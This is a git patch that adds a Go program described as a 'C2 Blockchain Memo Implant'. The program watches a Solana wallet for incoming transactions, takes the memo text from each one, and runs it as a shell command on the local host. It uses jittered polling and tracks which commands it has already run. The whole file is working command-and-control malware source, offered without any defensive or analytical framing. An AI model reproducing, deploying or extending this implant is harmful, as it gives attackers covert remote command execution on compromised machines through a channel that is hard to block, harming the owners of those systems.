From 61d0f940791eb91ab0608c3adeed12bb9f341dd1 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Mon, 8 Jun 2026 05:55:35 +0000 Subject: [PATCH] Upload files to "c2_blockchain_memo/cmd/client" --- c2_blockchain_memo/cmd/client/main.go | 266 ++++++++++++++++++++++++++ 1 file changed, 266 insertions(+) create mode 100644 c2_blockchain_memo/cmd/client/main.go diff --git a/c2_blockchain_memo/cmd/client/main.go b/c2_blockchain_memo/cmd/client/main.go new file mode 100644 index 0000000..1da09c2 --- /dev/null +++ b/c2_blockchain_memo/cmd/client/main.go @@ -0,0 +1,266 @@ +// cmd/client/main.go — C2 Blockchain Memo Implant +// +// Watches a Solana wallet address for incoming transactions and +// extracts any memo text (via the Memo Program). If the memo +// contains a shell command, it executes the command locally. +// +// The implant tracks which transactions it has already processed +// so it only executes each command once. +// +// Usage: +// +// # Watch a wallet (no keypair needed — read-only mode): +// go run ./cmd/client --address --rpc devnet +// +// # Watch own wallet from keypair: +// go run ./cmd/client --keypair implant-keypair.json --rpc devnet +// +// # Watch with custom polling interval (default 15s, with ±50% jitter): +// go run ./cmd/client --address ... --interval 30 + +package main + +import ( + "context" + "encoding/json" + "flag" + "fmt" + "log" + "math/rand" + "os" + "os/exec" + "os/signal" + "strings" + "sync" + "syscall" + "time" + + "github.com/gagliardetto/solana-go" + "github.com/gagliardetto/solana-go/rpc" +) + +// seenTracks keeps track of processed transaction signatures so we +// never re-execute a command. +type seenTracker struct { + mu sync.Mutex + seen map[string]struct{} +} + +func (st *seenTracker) Add(sig string) { + st.mu.Lock() + st.seen[sig] = struct{}{} + st.mu.Unlock() +} + +func (st *seenTracker) Has(sig string) bool { + st.mu.Lock() + defer st.mu.Unlock() + _, ok := st.seen[sig] + return ok +} + +func main() { + var ( + addressStr = flag.String("address", "", "Implant wallet address to watch") + keypairPath = flag.String("keypair", "", "Path to implant keypair (uses its address)") + rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL") + intervalSec = flag.Int("interval", 15, "Polling interval in seconds") + limit = flag.Int("limit", 10, "Max transactions to fetch per poll") + ) + flag.Parse() + + endpoint := resolveEndpoint(*rpcEndpoint) + + // ── Resolve the wallet address to watch ────────────────────────── + var watchAddress solana.PublicKey + + if *addressStr != "" { + var err error + watchAddress, err = solana.PublicKeyFromBase58(*addressStr) + if err != nil { + log.Fatalf("Invalid --address %q: %v", *addressStr, err) + } + } else if *keypairPath != "" { + key, err := loadKeypair(*keypairPath) + if err != nil { + log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err) + } + watchAddress = key.PublicKey() + } else { + log.Fatal("Either --address or --keypair must be provided") + } + + fmt.Printf("🔭 Watching address: %s\n", watchAddress.String()) + fmt.Printf("🔗 RPC endpoint: %s\n", endpoint) + fmt.Printf("⏱ Poll interval: %ds (with ±50%% jitter)\n", *intervalSec) + fmt.Println() + + client := rpc.New(endpoint) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + tracker := &seenTracker{seen: make(map[string]struct{})} + baseInterval := time.Duration(*intervalSec) * time.Second + + // ── Signal handling for graceful shutdown ─────────────────────── + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + fmt.Println("━━━ C2 Blockchain Memo — Implant ─━━") + fmt.Println("Listening for commands... Press Ctrl+C to stop.") + fmt.Println() + + // ── Polling loop ───────────────────────────────────────────────── + poll := func() { + sigs, err := client.GetSignaturesForAddressWithOpts( + ctx, + watchAddress, + &rpc.GetSignaturesForAddressOpts{ + Limit: &[]int{*limit}[0], + Commitment: rpc.CommitmentConfirmed, + }, + ) + if err != nil { + log.Printf("⚠️ Poll error: %v", err) + return + } + + // Process newest first (they come newest-first from the RPC) + for _, ts := range sigs { + // Only process confirmed/finalized transactions + if ts.Err != nil { + continue + } + // Skip already-seen + sigStr := ts.Signature.String() + if tracker.Has(sigStr) { + continue + } + tracker.Add(sigStr) + + // Check for memo via TxMemo field (populated by runtime for + // transactions that include a Memo Program instruction). + // This is faster than fetching the full transaction. + if ts.Memo == nil || *ts.Memo == "" { + // No memo attached to this transaction — skip. + // Optionally, we could fall back to fetching the full + // transaction and parsing instructions, but the Memo + // field is reliable for Memo Program transactions. + continue + } + + command := *ts.Memo + fmt.Printf("📩 New command from tx %s:\n", sigStr) + fmt.Printf(" Command: %s\n", command) + executeCommand(command) + fmt.Println() + } + } + + // Do an initial poll immediately + poll() + + // ── Polling ticker with jitter ─────────────────────────────────── + ticker := time.NewTicker(baseInterval) + defer ticker.Stop() + + for { + select { + case <-ticker.C: + // Add jitter: ±50% of base interval, then poll + jitter := time.Duration(float64(baseInterval) * (rand.Float64() - 0.5)) + time.Sleep(baseInterval + jitter) + + poll() + + // Schedule next tick + ticker.Reset(baseInterval) + + case <-sigCh: + fmt.Println("\n👋 Shutting down...") + cancel() + return + } + } +} + +// ── Command execution ─────────────────────────────────────────────── + +func executeCommand(command string) { + // Determine shell + shell, ok := os.LookupEnv("SHELL") + if !ok { + shell = "/bin/sh" + } + + cmd := exec.Command(shell, "-c", command) + cmd.Stdin = os.Stdin + cmd.Stderr = os.Stderr + // Capture stdout + output, err := cmd.Output() + + if err != nil { + log.Printf("❌ Command failed: %v", err) + if len(output) > 0 { + fmt.Printf(" Output (partial): %s\n", strings.TrimSpace(string(output))) + } + return + } + + outStr := strings.TrimSpace(string(output)) + if outStr != "" { + fmt.Printf("✅ Output:\n%s\n", outStr) + } else { + fmt.Println("✅ Command executed (no output)") + } +} + +// ── Keypair loading (shared helper) ───────────────────────────────── + +func loadKeypair(path string) (solana.PrivateKey, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read file: %w", err) + } + + content := strings.TrimSpace(string(data)) + + // Base58-encoded private key string + if !strings.HasPrefix(content, "[") { + pk, err := solana.PrivateKeyFromBase58(content) + if err != nil { + return nil, fmt.Errorf("invalid base58 private key: %w", err) + } + return pk, nil + } + + // Solana CLI format: JSON integer array [12, 34, 56, ...] + var byteArr []byte + if err := json.Unmarshal([]byte(content), &byteArr); err != nil { + return nil, fmt.Errorf("JSON decode of keypair: %w", err) + } + if len(byteArr) != 64 { + return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr)) + } + + return solana.PrivateKey(byteArr), nil +} + +// ── Endpoint resolution ───────────────────────────────────────────── + +func resolveEndpoint(name string) string { + switch strings.ToLower(name) { + case "mainnet", "mainnet-beta", "main": + return rpc.MainNetBeta_RPC + case "devnet", "dev": + return rpc.DevNet_RPC + case "testnet", "test": + return rpc.TestNet_RPC + default: + return name + } +} + +func init() { + rand.New(rand.NewSource(time.Now().UnixNano())) +}